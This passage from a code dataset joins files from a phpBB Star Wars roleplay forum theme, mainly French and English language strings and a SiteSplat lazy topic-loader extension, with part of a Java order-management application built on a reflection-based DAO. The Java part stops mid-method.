contacter l\'administrateur de ce site. Nous vous présentons nos excuses pour le dérangement que cela peut occasionner. Vous trouverez notre politique de vie privée et les conditions d\'utilisation ci-après.', 'CONTACT_WEBMASTER' => 'Contacter l\'administrateur', 'CONFIRM_QA_EXPLAIN_ALT' => 'Prouvez-nous que vous êtes humain', 'PLUPLOAD_PLACE_INLINE' => 'Inline', 'PLUPLOAD_DELETE_FILE' => 'Supprimer', 'REG_CREATING' => 'Création du profil...', 'LOADING' => 'Chargement...', 'SAVING' => 'Sauvegarde...', 'CANCELLING' => 'Annulation...', 'SENDING' => 'Envoi...', 'SEARCHING' => 'Recherche...', 'LOADING_LOG_IN' => 'Connexion...', 'FILE_UPLOADING' => 'Uploading...', 'CASTING_VOTE' => 'Casting vote...', 'LOADING_FORM' => 'Loading form...', 'MEMBERLIST_P_JOINED' => 's\'est inscrit', 'MEMBERLIST_P_EXPL' => 'Date d\'inscription de l\'utilisateur', 'MEMBERLIST_P_DATE_EXPL' => 'C\'est la dernière fois que je suis passé par là', 'SPAMMER_PLACEHOLDER' => 'Vous ne pouvez pas spammer notre forum en toute impunité !', 'MARK_PLACEHOLDER' => 'Marquez votre choix', 'INFO_BOX' => 'Information:', 'USER_REMOVE_PLACEHOLDER' => 'Supprimer l\'utilisateur', 'GROUP_REMOVE_PLACEHOLDER' => 'Supprimer le groupe', 'EDIT_LINK_PLACEHOLDER' => 'url', 'POST_IT_UP_PLACEHOLDER' => 'Post it up!', 'MESSAGE_ENTER_PLACEHOLDER' => 'Entrer votre message', 'FILE_COMMENT_PLACEHOLDER' => 'Commenter le fichier', 'HEIGTH_PLACEHOLDER' => 'height', 'WIDTH_PLACEHOLDER' => 'width', 'UCP_OCCUPATION_PLACEHOLDER' => 'Décrivez rapidement ce que vous faites...', 'UCP_INTERESTS_PLACEHOLDER' => 'Décrivez vos intérêts...', 'SOFT_DELETE_PLACEHOLDER' => 'Insérez la raison si vous le souhaitez...', 'ADD_DESCRIPTION' => 'Ajouter une description', 'FILE_SELECT' => 'Choisir le fichier', 'FILE_CHANGE' => 'Changer', 'SELECT_IMAGE' => 'Sélectionner l\'image', 'NOTE' => 'Note', 'EDIT_DRAFT' => 'Editer le brouillon', 'PM_BALOON_NOTIFICATION' => 'Autoriser les popup pour les messages privés', 'DAYS_AGO' => 'Days ago', 'WORK_IN_PROGRESS' => 'Maintenance', 'DISABLE_MESSAGE' => 'Board inaccessible', 'DISABLE_RETURN' => 'Retour à l\'index', 'BOARD_DISABLED_SHUFFLE' => 'Amusez-vous et mélangez les lettres', 'DISABLE_TEXT_TRY' => 'Essayez vous-même', 'DISABLE_TEXT_TYPE' => 'Ecrivez n\'importe quoi et validez...', 'GRAVATAR_EXPLAIN' => 'If a <a href="//en.gravatar.com/" target="_blank">GRAVATAR</a> is associated to your email address, it will be set as default.', 'GRAVATAR_EXPLAIN_CONFIRM' => 'Confirmer l\'adresse mail', 'DELETE_POLL' => 'Supprimer le sondage', 'POLL_DELETE_HELPER' => '(Ceci supprimera uniquement le sondage) check and submit', 'JUMP_TO_POST' => 'Sauter vers le message', 'JUMP_SELECT_FORUM' => 'Sauter vers un forum', 'JUMP_TO_PAGE_NUMBER' => 'Rejoindre la page #', 'VIEW_FIRST_UNREAD' => 'Voir le premier message non lu', 'BOOKMARK_TOPIC_REMOVE' => 'Supprimer des favoris', 'NEW_MESSAGES' => 'Nouveaux messages', 'YOU_HAVE' => 'Vous avez', 'AND' => 'et', 'HELLO' => 'Bonjour', 'DISMISS_PM' => 'Defer 5 min', 'READ_NOW' => 'Lire', 'PRIVATE_MESSAGE_NEW' => 'nouveau message privé', 'PRIVATE_MESSAGE_UNREAD' => 'messages privés non lus', 'NO_PMS_INFO' => 'Accéder à votre messagerie', 'DATES' => 'DATE', 'POWERED' => 'Powered By', 'HANDCRAFTED' => 'HandCrafted With', 'BY' => 'By', 'RECENT_TOPICS' => 'Sujets récents', 'TWITTER' => 'Twitter', 'FAVORITES' => 'Favorites', 'GALLERY' => 'Galerie', 'CHAT' => 'Chat', 'ABOUT' => 'A propos', 'ABOUT_PART_ONE' => 'BBOOTS&#8482; Is The First And Only Fully Responsive PhpBB&reg; Unofficial HTML5/CSS3 Theme. It’s Clean And Crisp Design Looks AWESOME Across All Browsers And Devices.', 'ABOUT_PART_TWO' => 'It Utilizes A Bootstrap Based Layout Which Has Been Long Waited For And That Is Sure To AMAZE The phpBB Fan Club.', 'ABOUT_PART_THREE' => 'The Unofficial Responsive Theme', 'BB' => 'B', 'BOOTS' => 'BOOTS', 'BBOOTS' => 'BBOOTS', 'BBOOTS_VERSION' => '<a href="http://www.sitesplat.com/phpBB3/">BBOOTS</a>', 'U_LOGOUT' => 'Déconnexion', 'SITESPLAT_STATISTICS' => 'Statistiques', 'SITESPLAT_SEE_DETAILS' => 'Voir Details', 'SITESPLAT_SEARCH_LAST_DAY' => 'Posts des dernières 24h', 'SITESPLAT_SEARCH_WEEK' => 'Posts des 7 derniers jours', 'SITESPLAT_TOTAL_POSTS' => 'Messages', 'SITESPLAT_TOTAL_TOPICS' => 'Sujets', 'SITESPLAT_TOTAL_USERS' => 'Membres', 'SITESPLAT_NEWEST_MEMBER' => 'Nouvel arrivant', 'SITESPLAT_USERS_ONLINE' => 'Connectés', 'SITESPLAT_MOST_USERS_ONLINE' => 'Record de connexions', 'BOOTSTRAP_VERSION' => '3.3.5', 'FLATBOOTS' => 'FLATBOOTS', 'CHANGE_AVATAR' => 'Modifier l\'avatar', 'CHANGE_PASSWORD' => '<PASSWORD>', 'ADMIN_TIPS' => 'Accès au PCA', 'ADMIN_TIP_INTRO' => 'Vous êtes sur le point d\'accéder au panneau d\'administration, cet espace est réservé aux administrateurs.', 'ADMIN_TIP_ONE' => 'Tenir la version à jour (phpBB3.1.8)', 'ADMIN_TIP_TWO' => 'Utilisez des mots de passes complexes avec chiffres, lettres et majuscules pour vos comptes administrateurs.', 'ADMIN_TIP_THREE' => 'Réstreignez l\'accès à cet espace de travail...', 'ADMIN_CHECK_IT_BTN' => 'Consulter les Fondateurs pour plus de détails', 'USER_MINI_PROFILE' => 'Mini profil du joueur', 'USER_MINI_PROFILE_VIEW_FULL' => 'Voir le profil complet', 'OFF_LINE' => 'Hors line', 'USER_STATUS' => 'Statut', 'USER' => 'Joueur', 'TITLE' => 'Titre', 'END_TIMELINE' => 'Fin de timeline', 'MEMBERS' => 'Membres', 'DRAFTS' => 'Brouillons', 'REPORTS' => 'Rapports', 'MODERATOR_LOGS' => 'Moderator logs', 'QUEUE' => 'File d\'attente', 'LINKS' => 'Liens', 'TOPIC_PERMISSIONS' => 'Permissions du topic', 'MODERATOR_OPTIONS' => 'Modérer', 'PASSWORD_EXPLAIN_CONFIRM' => 'Renseigner le même mot de passe', 'FORUM_REDIRECTS' => 'Redirects:', 'FANCY_TOPICS_TITLE' => 'Derniers messages du forum', 'POST_BY' => 'Topic de', 'REPLY_BY' => 'Réponse de', 'NO_REPLIES' => 'Pas de réponse', 'READ_MORE' => 'Lire plus', 'RT_READ_MORE' => 'LIRE PLUS', 'VIEW_MORE_TOPICS' => 'ANCIENS MESSAGES', 'BACK_TO_START' => 'RETOUR', 'TOGGLE_NAV' => 'Toggle Navigation', 'DEMO_LINK' => 'Demo link no icons', 'DEMO_HEADER_MENU' => 'Header intro example', 'FLATBOOTS_INTRO' => 'Bootstrap Framework', 'FLATBOOTS_EXPLAIN' => 'Over a dozen reusable components built to provide iconography, dropdowns, input groups, navigation, alerts, and much more...', 'CALL_TO_ACTION_FOOTER' => 'Swap-in out addons, use only what you really need!', 'PURCHASE_NOW_BTN' => 'Purchase now', 'FLATBOOTS_ABOUT_PART_ONE' => 'Bienvenue sur le forum de jeu de rôle narratif inspiré de la saga Star Wars. SWOR est un forum dont vous êtes le héros et construisez l\'histoire.', 'FLATBOOTS_ABOUT_TITLE' => 'Star Wars Online Roleplay', 'DMCA' => 'DMCA', 'TERMS' => 'Conditions générales', 'ADVERTISE' => 'Advertise', 'SITESPLAT' => 'SiteSplat', 'JOIN_US_TWITTER' => 'Suivez nous sur Twitter', 'TWEET_EXAMPLE' => 'Ceci est un exemple de tweet !', )); <file_sep><?php /** * * common [English] * * @package language * @version $Id$ * @copyright (c) 2014 SiteSplat.com * */ /** * DO NOT CHANGE */ if (!defined('IN_PHPBB')) { exit; } if (empty($lang) || !is_array($lang)) { $lang = array(); } $lang = array_merge($lang, array( 'ACP_SITESPLAT_UPDATE_MANAGER'=> 'SiteSplat Update Manager', 'ACP_SITESPLAT_V_INSTALLED' => 'Installed Version', 'LOG_FILES_CHANGED' => '<strong>BBcore changed the following %s files for you:</strong><br />» %s', 'LOG_THEME_INSTALLED' => '<strong>BBcore installed succesfully</strong>', 'LOG_FILES_CHANGED_FAILED' => '<strong>BBcore was not installed succesfully</strong><br />» Some functions may not work!', 'LOG_THEME_UNINSTALLED' => '<strong>BBcore uninstalled succesfully</strong>', 'LOG_FILE_NOT_REPLACED' => '<strong>BBcore could not replace original file for you:</strong><br />» %s', 'LOG_FILE_NOT_UPDATED' => '<strong>BBcore could not update the following %s file for you:</strong><br />» %s', 'LOG_BBCORE_INSTALLED' => '<strong>Sitesplat BBCore installed succesfully</strong>', 'LOG_BBCORE_UNINSTALLED' => '<strong>Sitesplat BBCore unistalled succesfully</strong>', 'LOG_BBCORE_NOT_REPLACED' => '<strong>Sitesplat BBCore did not unistall succesfully</strong><br />Could NOT replace the following file(s)<br />» %s', 'LOG_BBCORE_NOT_UPDATED' => '<strong>Sitesplat BBCore did not install succesfully</strong><br />Could NOT update the following file(s)<br />» %s', 'ACP_BBCORE_MSG_FILES_FAIL' => 'NOT all files were edited! Please replace manually the file(s) mentioned in the admin-log under the MAINTENANCE tab.', 'ACP_BBCORE_MSG_SETTINGS' => 'There No Configuration setting for this extension.<br />However not all updates were implemented properly due to the server filepermissions or missing files. <br />See admin log for more details.<br /><br />Please update the files manually to enjoy all functions.', )); ?><file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ namespace sitesplat\fltl\event; /** * @ignore */ use Symfony\Component\EventDispatcher\EventSubscriberInterface; /** * Event listener */ class admin_listener implements EventSubscriberInterface { static public function getSubscribedEvents() { return array( 'core.acp_board_config_edit_add' => 'add_config', ); } /* @var \phpbb\config\config*/ protected $config; protected $request; /* @var \phpbb\controller\helper */ protected $helper; /* @var \phpbb\template\template */ protected $template; /** * Constructor * * @param \phpbb\controller\helper $helper Controller helper object * @param \phpbb\template $template Template object */ public function __construct(\phpbb\config\config $config, \phpbb\request\request $request, \phpbb\controller\helper $helper, \phpbb\template\template $template) { $this->config = $config; $this->request = $request; $this->helper = $helper; $this->template = $template; } public function add_config($event) { if($event['mode'] == 'settings') { if ($this->request->is_set_post('submit')) { set_config('fltl_excluded_forums', json_encode($this->request->variable('fltl_excluded_forums', array(0)))); } $display_vars = $event['display_vars']; $submit_key = array_search('ACP_SUBMIT_CHANGES', $display_vars['vars']); $submit_legend_number = substr($submit_key, 6); $display_vars['vars']['legend'.$submit_legend_number] = 'FLTL'; $new_vars = array( 'fltl_limit' => array('lang' => 'FLTL_LIMIT', 'validate' => 'int:4:20', 'type' => 'number:0:9999', 'explain' => true), 'fltl_time' => array('lang' => 'FLTL_TIME', 'validate' => 'int:4:20', 'type' => 'number:0:9999', 'explain' => true), 'fltl_type' => array('lang' => 'FLTL_TYPE', 'validate' => 'string', 'type' => 'custom', 'function' => __NAMESPACE__.'\admin_listener::type_select', 'explain' => true), 'fltl_excluded_forums' => array('lang' => 'FLTL_EXCLUDED_FORUMS', 'validate' => 'string', 'type' => 'custom', 'function' => __NAMESPACE__.'\admin_listener::forum_select', 'explain' => true), 'legend'.($submit_legend_number + 1) => 'ACP_SUBMIT_CHANGES', ); $display_vars['vars'] = phpbb_insert_config_array($display_vars['vars'], $new_vars, array('after' => $submit_key)); $event['display_vars'] = $display_vars; } } static function type_select($value, $key) { global $config; $options_aray = array('first', 'last'); $type_options = ''; foreach ($options_aray as $value) { $type_options .= '<option value="' . $value . '"' . (($value == ((isset($config['fltl_type'])) ? $config['fltl_type'] : 'last')) ? ' selected="selected"' : '') . '>' . $value . '</option>'; } return '<select style="width:140px;" name="config[fltl_type]" id="fltl_type" title="Sort order">' . $type_options . '</select>'; } static function forum_select($value, $key) { global $config, $db; $forum_excluded_aray = json_decode($config['fltl_excluded_forums'], true); $forum_options = ''; $sql = 'SELECT forum_id, forum_name FROM ' . FORUMS_TABLE . ' WHERE forum_type = 1 ORDER BY forum_name'; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $forum_options .= '<option value="' . $row['forum_id'] . '"' . ((in_array($row['forum_id'], $forum_excluded_aray)) ? ' selected="selected"' : '') . '>' . $row['forum_name'] . '</option>'; } return '<select multiple style="width:140px;" size="10" name="fltl_excluded_forums[]" id="fltl_excluded_forums" title="Exclude forums">' . $forum_options . '</select>'; } } <file_sep><!-- INCLUDE overall_header.html --> <div class="side-segment"><h3>{PAGE_TITLE}</h3></div> <form method="post" action="{S_MODE_ACTION}"> <!-- BEGIN group --> <div class="forumbg forumbg-table"> <div class="panel panel-forum"> <div class="panel-heading"> <i class="fa fa-group"></i>&nbsp;<!-- IF group.U_GROUP --><a href="{group.U_GROUP}">{group.GROUP_NAME}</a><!-- ELSE -->{group.GROUP_NAME}<!-- ENDIF --> </div> <div class="panel-inner"> <table class="footable table table-striped table-primary table-hover"> <thead> <tr> <th data-class="expand" data-dfn="{L_RANK}{L_COMMA_SEPARATOR}{L_USERNAME}">{L_MEMBERS}</th> <th class="large20" data-hide="phone">{L_PRIMARY_GROUP}</th> <th class="large20" data-hide="phone">{L_RANK_IMAGE}</th> <!-- IF S_DISPLAY_MODERATOR_FORUMS --><th class="large20" data-hide="phone">{L_MODERATOR}</th><!-- ENDIF --> </tr> </thead> <tbody> <!-- BEGIN user --> <tr> <td>{group.user.USERNAME_FULL}<!-- IF group.user.RANK_TITLE -->&nbsp;&#45;&nbsp;{group.user.RANK_TITLE}<!-- ENDIF --></td> <td><!-- IF group.user.U_GROUP --> <a<!-- IF group.user.GROUP_COLOR --> style="font-weight: bold; color: #{group.user.GROUP_COLOR}"<!-- ENDIF --> href="{group.user.U_GROUP}">{group.user.GROUP_NAME}</a> <!-- ELSE --> {group.user.GROUP_NAME} <!-- ENDIF --> </td> <td><!-- IF group.user.RANK_IMG --><span class="rank-img">{group.user.RANK_IMG}</span><!-- ENDIF --></td> <!-- IF S_DISPLAY_MODERATOR_FORUMS --> <td><!-- IF group.user.FORUM_OPTIONS --><select style="width: 100%;">{group.user.FORUMS}</select><!-- ELSEIF group.user.FORUMS -->{group.user.FORUMS}<!-- ELSE -->-<!-- ENDIF --></td> <!-- ENDIF --> </tr> <!-- BEGINELSE --> <tr> <td colspan="4"><strong>{L_NO_MEMBERS}</strong></td> </tr> <!-- END user --> </tbody> </table> </div> </div> </div> <!-- END group --> </form> <div class="row"> <div class="col-md-4"> <!-- INCLUDE jumpbox_options.html --> </div> </div> <div class="space10"></div> <!-- INCLUDE overall_footer.html --> <file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ namespace sitesplat\fltl\migrations\v31x; /** * Migration stage 1: Initial data changes to the files */ class m1_initial_config extends \phpbb\db\migration\migration { /** * Assign migration file dependencies for this migration * * @return array Array of migration files * @static * @access public */ static public function depends_on() { return array('\sitesplat\BBCore\migrations\v31x\m1_initial_file'); } /** * Add or update data in the database * * @return array Array of table data * @access public */ public function update_data() { return array( array('config.add', array('fltl_limit', 4)), array('config.add', array('fltl_time', 7)), array('config.add', array('fltl_type', 'last')), array('config.add', array('fltl_excluded_forums', '[]')), ); } } <file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ namespace sitesplat\fltl\controller; use Symfony\Component\DependencyInjection\Container; class main { protected $db; protected $auth; protected $config; protected $user; protected $request; protected $phpbb_root_path; protected $php_ext; public function __construct(\phpbb\db\driver\driver_interface $db, \phpbb\auth\auth $auth, \phpbb\config\config $config, \phpbb\user $user, \phpbb\request\request $request, $phpbb_root_path, $php_ext) { $this->db = $db; $this->auth = $auth; $this->config = $config; $this->user = $user; $this->request = $request; $this->root_path = $phpbb_root_path; $this->php_ext = $php_ext; } /** * Extension front handler method. * @return null */ public function handle($route = 'index.html') { $start = $this->request->variable('fltl_start', 0); $pid = ($this->config['fltl_type'] == 'last') ? 't.topic_last_poster_id' : 't.topic_poster'; $forum_excluded_aray = json_decode($this->config['fltl_excluded_forums'], true); $forums = array_keys($this->auth->acl_getf('!f_read', true)); $forums = (!empty($forum_excluded_aray)) ? array_unique(array_merge($forum_excluded_aray, $forums)) : $forums; $sql_where = (!empty($forums)) ? 'WHERE ' . $this->db->sql_in_set('t.forum_id', $forums, true) . ' AND p.topic_id = t.topic_id ' : 'WHERE p.topic_id = t.topic_id '; $sql = 'SELECT COUNT(p.post_id) AS total FROM ' . TOPICS_TABLE . ' t, ' . POSTS_TABLE . ' p, ' . USERS_TABLE . ' u ' . $sql_where . ' AND p.post_visibility = 1 AND t.topic_last_post_time > ' . (time() - ($this->config['fltl_time'] * 86400)) . ' AND u.user_id = ' . $pid . ' AND p.post_id = t.topic_' . $this->config['fltl_type'] . '_post_id'; $result = $this->db->sql_query($sql); $total = $this->db->sql_fetchfield('total'); $sql = 'SELECT u.username, u.user_id, user_rank, user_posts, u.user_sig, user_avatar, user_avatar_type, user_avatar_width, user_avatar_height, p.post_id, p.post_text, t.topic_id, t.forum_id, t.topic_title, t.topic_last_post_time, t.topic_first_poster_colour, t.topic_last_post_id, t.topic_last_poster_name, t.topic_last_poster_colour FROM ' . TOPICS_TABLE . ' t, ' . POSTS_TABLE . ' p, ' . USERS_TABLE . ' u ' . $sql_where . ' AND p.post_visibility = 1 AND t.topic_last_post_time > ' . (time() - ($this->config['fltl_time'] * 86400)) . ' AND u.user_id = ' . $pid . ' AND p.post_id = t.topic_' . $this->config['fltl_type'] . '_post_id ORDER BY t.topic_last_post_time DESC'; $result = $this->db->sql_query_limit($sql, $this->config['fltl_limit'], $start); $rows = $this->db->sql_fetchrowset($result); if ($route == 'index.html') { $rows['rows'] = $rows; $rows['start'] = ($start + $this->config['fltl_limit'] >= $total) ? 0 : $start + $this->config['fltl_limit']; return $rows; } else { $url = generate_board_url() . '/'; foreach($rows as $row) { strip_bbcode($row['post_text']); $row['post_text'] = censor_text($row['post_text']); $row['post_text'] = (utf8_strlen($row['post_text']) > 50) ? utf8_substr($row['post_text'], 0, 50) . '&#91;&hellip;&#93;' : $row['post_text']; echo '<div class="col-md-3 col-sm-6"> <div class="panel panel-post"> <div class="blog-meta"> <time class="entry-date" datetime="' . $this->user->format_date($row['topic_last_post_time'], 'Y-m-d') . '"> <span class="day">' . $this->user->format_date($row['topic_last_post_time'], 'd') . '</span> <span class="month">' . $this->user->format_date($row['topic_last_post_time'], 'M') . '</span> </time> </div> <div class="title"> <header class="entry-header"> <h6 class="inverse-font"><a title="" href="' . append_sid($url . 'viewtopic.' . $this->php_ext, 'f=' . $row['forum_id'] . '&amp;t=' . $row['topic_id']) . '" data-original-title="">' . censor_text($row['topic_title']) . '</a></h6> <div class="entry-meta"> <span class="jp-views">' . (($row['user_avatar']) ? phpbb_get_user_avatar( array('avatar' => $row['user_avatar'], 'avatar_type' => $row['user_avatar_type'], 'avatar_width' => $row['user_avatar_width'], 'avatar_height' => $row['user_avatar_height'])): '') . '&nbsp;-&nbsp;By&nbsp;' . (($row['topic_' . $this->config['fltl_type'] . '_poster_colour']) ? ('<strong style="color:#' . $row['topic_' . $this->config['fltl_type'] . '_poster_colour'] . '">' . $row['username'] . '</strong>') : $row['username']) . '</span> </div> </header> </div> <div class="content-post"> <p>' . $row['post_text'] . '</p> </div> <div class="panel-bottom"> <a title="" class="btn btn-xs btn-block" href="' . append_sid($url . 'viewtopic.'. $this->php_ext, 'p=' . $row['topic_last_post_id']) . '#p' . $row['topic_last_post_id'] . '" data-original-title="">' . $this->user->lang['READ_MORE'] . '</a> </div> </div> </div>'; } echo '<div id="data-fltl" data-limit="' . $this->config['fltl_limit'] . '" data-total="' . $total . '" data-more="' . $this->user->lang['VIEW_MORE_TOPICS'] . '" data-back="' . $this->user->lang['BACK_TO_START'] . '"></div>'; $this->db->sql_freeresult($result); exit(); } } } <file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ if (!defined('IN_PHPBB')) { exit; } if (empty($lang) || !is_array($lang)) { $lang = array(); } $lang = array_merge($lang, array( 'FLTL' => 'Fancy Lazy Topics loader', 'FLTL_EXPLAIN' => 'Scroll down for more topics', 'FLTL_LIMIT' => 'Posts to display', 'FLTL_LIMIT_EXPLAIN' => 'Set the posts block per each row (4 default)', 'FLTL_TIME' => 'Topic Fetch Limit', 'FLTL_TIME_EXPLAIN' => 'Set the amount in days for how far back to fetch topics from the database', 'FLTL_TYPE' => 'Sort order', 'FLTL_TYPE_EXPLAIN' => 'Display first or last post from recent topics', 'FLTL_EXCLUDED_FORUMS' => 'Exclude forums from the Fancy Lazy Topics loader', 'FLTL_EXCLUDED_FORUMS_EXPLAIN' => 'Hold shift or control for selecting more forums', 'READ_MORE' => 'LIRE PLUS', 'BACK_TO_START' => 'RETOUR AU DEBUT', 'VIEW_MORE_TOPICS' => 'VOIR PLUS DE TOPICS' ));
b1c60b3ada1d0f20470cc25d2e2deb29828ab4e1
[ "HTML", "PHP" ]
9
PHP
swor-jdr/v4
6fdcc3ff0aa13839a9f3f6591af008404048bd9d
1fe1ecdf336c387b3cd8915edaefc37d7daf7c7e
refs/heads/master
<file_sep>package bll; import dao.OrderDAO; import model.Client; import model.Invoice; import model.Order; import model.Product; import presentation.Controller; import java.util.List; import java.util.NoSuchElementException; public class OrderBLL { private OrderDAO orderDAO; public OrderBLL() { orderDAO = new OrderDAO(); } /** * Make a new Order for a Client with a given Quantity of Products * * @param client Given client * @param product Given product * @param quantity Given quantity * @return True on success | False on failure */ public Boolean make(Client client, Product product, Double quantity) { if (!orderDAO.make(client, product, quantity)) { Controller.outOfStock(); } Controller.printOrder(this.getLast()); return true; } /** * Get the last Order from the DB * * @return Order */ public Order getLast() { Order st = orderDAO.findLast(); if (st == null) { throw new NoSuchElementException("No order was found"); } return st; } /** * Insert Order into DB by object * * @param order Given order object * @return True on success | False on failure */ public Boolean insert(Order order) { if (!orderDAO.insert(order)) { //todo throw new Couldn't insert. return false; } return true; } /** * Find Order from DB by ID * * @param id Given id * @return True on success | False on failure */ public Order findById(int id) { Order st = orderDAO.findById(id); if (st == null) { throw new NoSuchElementException("The order with id =" + id + " was not found!"); } return st; } /** * Find Order from DB by ID with adding Invoice to it's list * * @param id Given id * @param invoice Given invoice * @return Order */ public Order findById(int id, Invoice invoice) { Order st = orderDAO.findById(id, invoice); if (st == null) { throw new NoSuchElementException("The order with id =" + id + " was not found!"); } return st; } /** * Get every Order from DB * * @return List of Orders */ public List<Order> findAll() { List<Order> st = orderDAO.findAll(); if (st == null) { throw new NoSuchElementException("No orders were found!"); } return st; } } <file_sep>package dao; import bll.InvoiceBLL; import connection.ConnectionFactory; import model.Invoice; import model.Order; import model.Pair; import util.OrderTypes; import util.SQL; import util.StatementTypes; import java.beans.IntrospectionException; import java.beans.PropertyDescriptor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; import static util.OrderTypes.ASC; import static util.OrderTypes.DESC; /** * Used to make the connection between the DB and Application * * @param <T> Defines the current type */ public class AbstractDAO<T> { protected static final Logger LOGGER = Logger.getLogger(AbstractDAO.class.getName()); private final List<String> fieldNames; private final Class<T> type; private final SQL<T> queries; protected Object previous; @SuppressWarnings("unchecked") public AbstractDAO() { this.type = (Class<T>) ((ParameterizedType) getClass().getGenericSuperclass()).getActualTypeArguments()[0]; this.fieldNames = getDeclaredFields(); this.previous = null; this.queries = new SQL<>(type, fieldNames); } /** * Get the fields names for the current type * * @return List of Strings that contains the names */ private List<String> getDeclaredFields() { List<String> fields = new LinkedList<>(); for (Field field : type.getDeclaredFields()) { String name = field.getName(); if (!name.startsWith("x_")) { fields.add(name); } } return fields; } /** * Get the field values for a given object * * @param t The object * @param sqlType The type of query that will be ran afterwards * @return List of Objects that contain the values of the fields */ private List<Object> getFieldValues(T t, StatementTypes sqlType) throws IllegalAccessException { List<Object> fieldValues = new LinkedList<>(); for (Field field : type.getDeclaredFields()) { if (field.getName().startsWith("x_")) { continue; } if (sqlType == StatementTypes.INSERT && field.getName().equals("id")) { continue; } PropertyDescriptor propertyDescriptor = null; try { propertyDescriptor = new PropertyDescriptor(field.getName(), type); Method method = propertyDescriptor.getReadMethod(); Object value = method.invoke(t); fieldValues.add(value); } catch (IntrospectionException | InvocationTargetException e) { e.printStackTrace(); } } return fieldValues; } /** * Sends an update query to the DB * * @param query The query that is executed * @param values The values that are added to the query * @return The number of rows changed / added */ private Integer sendUpdate(String query, List<Object> values) { Connection connection = null; PreparedStatement statement = null; ResultSet resultSet = null; try { connection = ConnectionFactory.getConnection(); statement = connection.prepareStatement(query); if (values != null) { for (int i = 0; i < values.size(); i++) { statement.setObject(i + 1, values.get(i)); } } return statement.executeUpdate(); } catch (SQLException e) { LOGGER.log(Level.WARNING, type.getName() + "DAO:sendUpdate " + e.getMessage()); } finally { ConnectionFactory.close(resultSet); ConnectionFactory.close(statement); ConnectionFactory.close(connection); } return 0; } /** * Send simple query to the DB * * @param query The query that is executed * @param values The values that are added to the query * @return List of parsed objects from the result of the query */ private List<T> sendQuery(String query, List<Object> values) { Connection connection = null; PreparedStatement statement = null; ResultSet resultSet = null; try { connection = ConnectionFactory.getConnection(); statement = connection.prepareStatement(query); if (values != null) { for (int i = 0; i < values.size(); i++) { statement.setObject(i + 1, values.get(i)); } } resultSet = statement.executeQuery(); return createObjects(resultSet); } catch (SQLException e) { LOGGER.log(Level.WARNING, type.getName() + "DAO:sendQuery " + e.getMessage()); } finally { ConnectionFactory.close(resultSet); ConnectionFactory.close(statement); ConnectionFactory.close(connection); } return null; } /** * Makes a select query and executes it * * @param rules List of Pairs of String and Object, that is used to filter the data * @param order Ascending or Descending * @return List of parsed objects from the result of the query */ public List<T> select(List<Pair<String, Object>> rules, OrderTypes order) { List<String> fields = new LinkedList<>(); List<Object> values = new LinkedList<>(); if (rules != null) { for (Pair<String, Object> rule : rules) { fields.add(rule.first); values.add(rule.second); } } String query = null; if (order == DESC) { query = queries.createDescSelectQuery(fields); } else { query = queries.createSelectQuery(fields); } return sendQuery(query, values); } /** * Makes an insert query and executes it * * @param t The object whose values will be inserted in the DB * @return True on success | False on failure */ public Boolean insert(T t) { List<Object> values = null; try { values = getFieldValues(t, StatementTypes.INSERT); } catch (IllegalAccessException e) { e.printStackTrace(); } String query = queries.createInsertQuery(t); return sendUpdate(query, values) != 0; } /** * Makes an update query and executes it * * @param t The object whose values will be updated in the DB * @return True on success | False on failure */ public Boolean update(T t) { List<Object> referenceValues = null; try { referenceValues = getFieldValues(t, StatementTypes.UPDATE); } catch (IllegalAccessException e) { e.printStackTrace(); } List<String> referenceNames = new LinkedList<>(); referenceNames.add(fieldNames.get(1)); assert referenceValues != null; referenceValues.add(referenceValues.get(1)); String query = queries.createUpdateQuery(t, referenceNames); return sendUpdate(query, referenceValues) != 0; } /** * Makes a delete query and executes it * * @param rules List of Pairs of String and Object, that is used to filter the data * @return True on success | False on failure */ public Boolean delete(List<Pair<String, Object>> rules) { List<String> fields = new LinkedList<>(); List<Object> values = new LinkedList<>(); if (rules == null) { return false; } for (Pair<String, Object> rule : rules) { fields.add(rule.first); values.add(rule.second); } String query = queries.createDeleteQuery(fields); return sendUpdate(query, values) != 0; } /** * @return The last element of current type in the DB */ public T findLast() { return this.select(null, DESC).get(0); } /** * @return All the elements of current type in the DB */ public List<T> findAll() { return this.select(null, ASC); } /** * Find an element of current type by ID in the DB * * @param id The given id to search for * @return The object if found | NULL if no element was found */ public T findById(int id) { List<Pair<String, Object>> rules = new LinkedList<>(); rules.add(new Pair<>("id", id)); List<T> response = select(rules, ASC); if (response != null && !response.isEmpty()) { return response.get(0); } return null; } /** * Creates objects from the result of a query that was made * * @param resultSet The result from a made query * @return List of Objects of current type */ private List<T> createObjects(ResultSet resultSet) { List<T> list = new ArrayList<T>(); Method method = null; try { while (resultSet.next()) { T instance = type.newInstance(); for (String fieldName : fieldNames) { Object value = resultSet.getObject(fieldName); PropertyDescriptor propertyDescriptor = new PropertyDescriptor(fieldName, type); if (fieldName.equals("_order") && previous != null) { value = previous; } method = type.getMethod(propertyDescriptor.getWriteMethod().getName(), value.getClass()); method.invoke(instance, value); } if (instance instanceof Order) { InvoiceBLL inv = new InvoiceBLL(); if (previous != null) { ((Order) instance).addX_Invoices((Invoice) previous); previous = null; } ((Order) instance).addX_Invoices(inv.findByOrder((Order) instance)); } list.add(instance); } } catch (Exception e) { e.printStackTrace(); } return list; } }<file_sep>package dao; import model.Client; import model.Pair; import util.OrderTypes; import java.util.LinkedList; import java.util.List; public class ClientDAO extends AbstractDAO<Client> { /** * Deletes a client found by it's name * * @param name The name to search for * @return True on success | False on failure */ public Boolean deleteByName(String name) { List<Pair<String, Object>> rules = new LinkedList<>(); rules.add(new Pair<>("name", name)); return this.delete(rules); } /** * Searches for a client by it's name * * @param name The name to search for * @return True on success | False on failure */ public Client 